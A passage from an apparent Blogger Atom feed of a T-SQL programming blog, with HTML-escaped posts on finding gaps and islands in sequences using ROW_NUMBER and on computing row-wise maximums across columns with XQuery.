/&gt;6&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;5&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1&lt;br /&gt;9&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;6&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;3&lt;br /&gt;11&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;7&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;4&lt;br /&gt;12&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;8&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;4&lt;br /&gt;&lt;br /&gt;*/&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;The query simply generates rank by transaction number, and defines expression subtracting the rank from the transaction number. Observing the transaction number and the rank columns it is easy to see that transaction numbers increase with 1 when there are no gaps, while ranks always increase with 1. Subtracting sequentially increasing numbers from set of numbers without gaps results in constant number (as both sequences increase with 1). When the set of numbers has gaps the subtraction results in different number. This is the base to define the grouping factor for our ranges. &lt;br /&gt;&lt;br /&gt;Here is the final query to solve the first task to find ranges by transaction number:&lt;br /&gt;&lt;br /&gt;&lt;pre style="font-size: 12px;"&gt;&lt;span style="color: blue;"&gt;SELECT&amp;nbsp;MIN&lt;/span&gt;&lt;span style="color: grey;"&gt;(&lt;/span&gt;&lt;span style="color: black;"&gt;transaction_nbr&lt;/span&gt;&lt;span style="color: grey;"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;range_start&lt;/span&gt;&lt;span style="color: grey;"&gt;,&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;MAX&lt;/span&gt;&lt;span style="color: grey;"&gt;(&lt;/span&gt;&lt;span style="color: black;"&gt;transaction_nbr&lt;/span&gt;&lt;span style="color: grey;"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;range_end&lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue;"&gt;FROM&amp;nbsp;&lt;/span&gt;&lt;span style="color: grey;"&gt;(&lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue;"&gt;SELECT&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;transaction_nbr&lt;/span&gt;&lt;span style="color: grey;"&gt;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;transaction_nbr&amp;nbsp;&lt;/span&gt;&lt;span style="color: grey;"&gt;-&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;ROW_NUMBER&lt;/span&gt;&lt;span style="color: grey;"&gt;()&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;OVER&lt;/span&gt;&lt;span style="color: grey;"&gt;(&lt;/span&gt;&lt;span style="color: blue;"&gt;ORDER&amp;nbsp;BY&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;transaction_nbr&lt;/span&gt;&lt;span style="color: grey;"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;grp&lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue;"&gt;FROM&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;Sales&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;A&lt;/span&gt;&lt;span style="color: grey;"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;T&lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue;"&gt;GROUP&amp;nbsp;BY&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;grp&lt;/span&gt;&lt;span style="color: grey;"&gt;;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: green;"&gt;/*&lt;br /&gt;&lt;br /&gt;range_start&amp;nbsp;range_end&lt;br /&gt;-----------&amp;nbsp;-----------&lt;br /&gt;1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1&lt;br /&gt;3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;6&lt;br /&gt;9&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;9&lt;br /&gt;11&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;12&lt;br /&gt;&lt;br /&gt;*/&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;Utilizing the ranking functions allows using new algorithm which results in simplified and better performing solution. &lt;br /&gt;&lt;br /&gt;The solution for finding date ranges is very similar. Here are two versions with minor differences. The first version uses the difference between a fixed date (January 1, 2000) and the sale date value. This difference will generate sequential numeric values when there are no gaps between dates and will skip numbers when gaps exist.&lt;br /&gt;&lt;br /&gt;&lt;pre style="font-size: 12px;"&gt;&lt;span style="color: green;"&gt;--&amp;nbsp;Using&amp;nbsp;number&amp;nbsp;as&amp;nbsp;grouping&amp;nbsp;factor&lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue;"&gt;SELECT&amp;nbsp;MIN&lt;/span&gt;&lt;span style="color: grey;"&gt;(&lt;/span&gt;&lt;span style="color: black;"&gt;sale_date&lt;/span&gt;&lt;span style="color: grey;"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;range_start&lt;/span&gt;&lt;span style="color: grey;"&gt;,&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;MAX&lt;/span&gt;&lt;span style="color: grey;"&gt;(&lt;/span&gt;&lt;span style="color: black;"&gt;sale_date&lt;/span&gt;&lt;span style="color: grey;"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;range_end&lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue;"&gt;FROM&amp;nbsp;&lt;/span&gt;&lt;span style="color: grey;"&gt;(&lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue;"&gt;SELECT&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;sale_date&lt;/span&gt;&lt;span style="color: grey;"&gt;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: magenta;"&gt;DATEDIFF&lt;/span&gt;&lt;span style="color: grey;"&gt;(&lt;/span&gt;&lt;span style="color: magenta;"&gt;DAY&lt;/span&gt;&lt;span style="color: grey;"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: red;"&gt;'20000101'&lt;/span&gt;&lt;span style="color: grey;"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;sale_date&lt;/span&gt;&lt;span style="color: grey;"&gt;)&amp;nbsp;-&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;ROW_NUMBER&lt;/span&gt;&lt;span style="color: grey;"&gt;()&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;OVER&lt;/span&gt;&lt;span style="color: grey;"&gt;(&lt;/span&gt;&lt;span style="color: blue;"&gt;ORDER&amp;nbsp;BY&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;sale_date&lt;/span&gt;&lt;span style="color: grey;"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;grp&lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue;"&gt;FROM&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;Sales&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;A&lt;/span&gt;&lt;span style="color: grey;"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;T&lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue;"&gt;GROUP&amp;nbsp;BY&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;grp&lt;/span&gt;&lt;span style="color: grey;"&gt;;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: green;"&gt;/*&lt;br /&gt;&lt;br /&gt;range_start&amp;nbsp;range_end&lt;br /&gt;-----------&amp;nbsp;----------&lt;br /&gt;2009-12-01&amp;nbsp;&amp;nbsp;2009-12-04&lt;br /&gt;2009-12-07&amp;nbsp;&amp;nbsp;2009-12-09&lt;br /&gt;2009-12-11&amp;nbsp;&amp;nbsp;2009-12-11&lt;br /&gt;&lt;br /&gt;*/&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;The second version subtracts days (represented by rank based on sale date) from the sale date. This in effect generates constant date when sale dates are in sequence.&lt;br /&gt;&lt;br /&gt;&lt;pre style="font-size: 12px;"&gt;&lt;span style="color: green;"&gt;--&amp;nbsp;Using&amp;nbsp;date&amp;nbsp;as&amp;nbsp;grouping&amp;nbsp;factor&lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue;"&gt;SELECT&amp;nbsp;MIN&lt;/span&gt;&lt;span style="color: grey;"&gt;(&lt;/span&gt;&lt;span style="color: black;"&gt;sale_date&lt;/span&gt;&lt;span style="color: grey;"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;range_start&lt;/span&gt;&lt;span style="color: grey;"&gt;,&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;MAX&lt;/span&gt;&lt;span style="color: grey;"&gt;(&lt;/span&gt;&lt;span style="color: black;"&gt;sale_date&lt;/span&gt;&lt;span style="color: grey;"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;range_end&lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue;"&gt;FROM&amp;nbsp;&lt;/span&gt;&lt;span style="color: grey;"&gt;(&lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue;"&gt;SELECT&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;sale_date&lt;/span&gt;&lt;span style="color: grey;"&gt;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: magenta;"&gt;DATEADD&lt;/span&gt;&lt;span style="color: grey;"&gt;(&lt;/span&gt;&lt;span style="color: magenta;"&gt;DAY&lt;/span&gt;&lt;span style="color: grey;"&gt;,&amp;nbsp;-&lt;/span&gt;&lt;span style="color: black;"&gt;1&amp;nbsp;&lt;/span&gt;&lt;span style="color: grey;"&gt;*&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;ROW_NUMBER&lt;/span&gt;&lt;span style="color: grey;"&gt;()&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;OVER&lt;/span&gt;&lt;span style="color: grey;"&gt;(&lt;/span&gt;&lt;span style="color: blue;"&gt;ORDER&amp;nbsp;BY&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;sale_date&lt;/span&gt;&lt;span style="color: grey;"&gt;),&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;sale_date&lt;/span&gt;&lt;span style="color: grey;"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;grp&lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue;"&gt;FROM&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;Sales&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;A&lt;/span&gt;&lt;span style="color: grey;"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;T&lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue;"&gt;GROUP&amp;nbsp;BY&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;grp&lt;/span&gt;&lt;span style="color: grey;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;The same technique can be used in many different scenarios. In more complex cases (like when partitioning by a column is required) there may be a need for multiple ranking functions. Here is one example:&lt;br /&gt;&lt;br /&gt;Grouping with ROW_NUMBER&lt;br /&gt;&lt;a href="http://pratchev.blogspot.com/2008/03/grouping-with-rownumber.html"&gt;http://pratchev.blogspot.com/2008/03/grouping-with-rownumber.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4282222233168200124-7258518491344801971?l=pratchev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pratchev.blogspot.com/feeds/7258518491344801971/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4282222233168200124&amp;postID=7258518491344801971' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/7258518491344801971'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/7258518491344801971'/><link rel='alternate' type='text/html' href='http://pratchev.blogspot.com/2010/02/refactoring-ranges.html' title='Refactoring Ranges'/><author><name>Plamen Ratchev</name><uri>http://www.blogger.com/profile/02027705815827955614</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_xSJ2NVXK3d0/TEDSRw15A_I/AAAAAAAAACY/4kesPlCdN3w/S220/Plamen_c_113.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4282222233168200124.post-3691739757402775584</id><published>2009-08-21T21:27:00.003-04:00</published><updated>2009-08-21T21:40:15.409-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='unpivot'/><category scheme='http://www.blogger.com/atom/ns#' term='t-sql programming'/><category scheme='http://www.blogger.com/atom/ns#' term='xml'/><title type='text'>Column Aggregates</title><content type='html'>We all know how to use the aggregate functions MIN, MAX, COUNT, etc. to calculate aggregates across rows. For example, using MAX we can determine the maximum value for group of rows. But what if we want to see the maximum value for each row across columns?  There is no aggregate function that accepts list of columns…&lt;br /&gt;&lt;br /&gt;Let's look at example to illustrate this. Here is sample table with four data columns:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code style="font-size: 12px;"&gt;&lt;span style="color:blue"&gt;CREATE&amp;nbsp;TABLE&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;Foo&amp;nbsp;&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;br /&gt;&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;keycol&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;INT&amp;nbsp;&lt;/span&gt;&lt;span style="color:gray"&gt;NOT&amp;nbsp;NULL&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;PRIMARY&amp;nbsp;KEY&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;br /&gt;&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;col1&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;INT&amp;nbsp;&lt;/span&gt;&lt;span style="color:gray"&gt;NOT&amp;nbsp;NULL,&lt;br /&gt;&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;col2&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;INT&amp;nbsp;&lt;/span&gt;&lt;span style="color:gray"&gt;NOT&amp;nbsp;NULL,&lt;br /&gt;&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;col3&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;INT&amp;nbsp;&lt;/span&gt;&lt;span style="color:gray"&gt;NOT&amp;nbsp;NULL,&lt;br /&gt;&lt;br&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;col4&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;INT&amp;nbsp;&lt;/span&gt;&lt;span style="color:gray"&gt;NOT&amp;nbsp;NULL);&lt;br /&gt;&lt;br&gt;&amp;nbsp;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;INSERT&amp;nbsp;INTO&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;Foo&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;VALUES&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;1&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;5&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;0&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;1&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;10&lt;/span&gt;&lt;span style="color:gray"&gt;);&amp;nbsp;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;INSERT&amp;nbsp;INTO&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;Foo&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;VALUES&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;2&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;0&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;0&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;3&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;1&lt;/span&gt;&lt;span style="color:gray"&gt;);&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;INSERT&amp;nbsp;INTO&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;Foo&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;VALUES&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;3&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;0&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;0&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;0&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;0&lt;/span&gt;&lt;span style="color:gray"&gt;);&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;INSERT&amp;nbsp;INTO&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;Foo&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;VALUES&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;4&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;9&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;1&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;22&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;8&lt;/span&gt;&lt;span style="color:gray"&gt;);&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;INSERT&amp;nbsp;INTO&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;Foo&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;VALUES&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;5&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;8&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;8&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;8&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;8&lt;/span&gt;&lt;span style="color:gray"&gt;);&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;Our goal is to calculate the maximum value for the four data columns for each row. With two or three columns it may be an easy task using a CASE expression. But adding more columns will make a very long and complex CASE expression. Is there an easier way?&lt;br /&gt;&lt;br /&gt;One solution that provides a shortcut is utilizing the SQL Server capabilities to generate an XML result and then using XQuery to find the max value. Here is the query:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code style="font-size: 12px;"&gt;&lt;span style="color:green"&gt;--&amp;nbsp;max&amp;nbsp;across&amp;nbsp;columns&amp;nbsp;with&amp;nbsp;XQuery&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;SELECT&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;c.query&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:red"&gt;'keycol'&lt;/span&gt;&lt;span style="color:gray"&gt;)&lt;/span&gt;&lt;span style="color:black"&gt;.value&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:red"&gt;'.'&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:red"&gt;'INT'&lt;/span&gt;&lt;span style="color:gray"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;keycol&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;c.value&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:red"&gt;'local-name(./*[data(.)=&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;max(../*[not(local-name(.)=&amp;quot;keycol&amp;quot;)&amp;nbsp;])][1])'&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:red"&gt;'VARCHAR(20)'&lt;/span&gt;&lt;span style="color:gray"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;max_col&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;c.value&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:red"&gt;'max(*[not(local-name(.)=&amp;quot;keycol&amp;quot;)])'&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:red"&gt;'FLOAT'&lt;/span&gt;&lt;span style="color:gray"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;max_val&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;FROM&amp;nbsp;&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:blue"&gt;SELECT&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;keycol&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;col1&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;col2&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;col3&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;col4&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;FROM&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;Foo&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;FOR&amp;nbsp;&lt;/span&gt;&lt;span 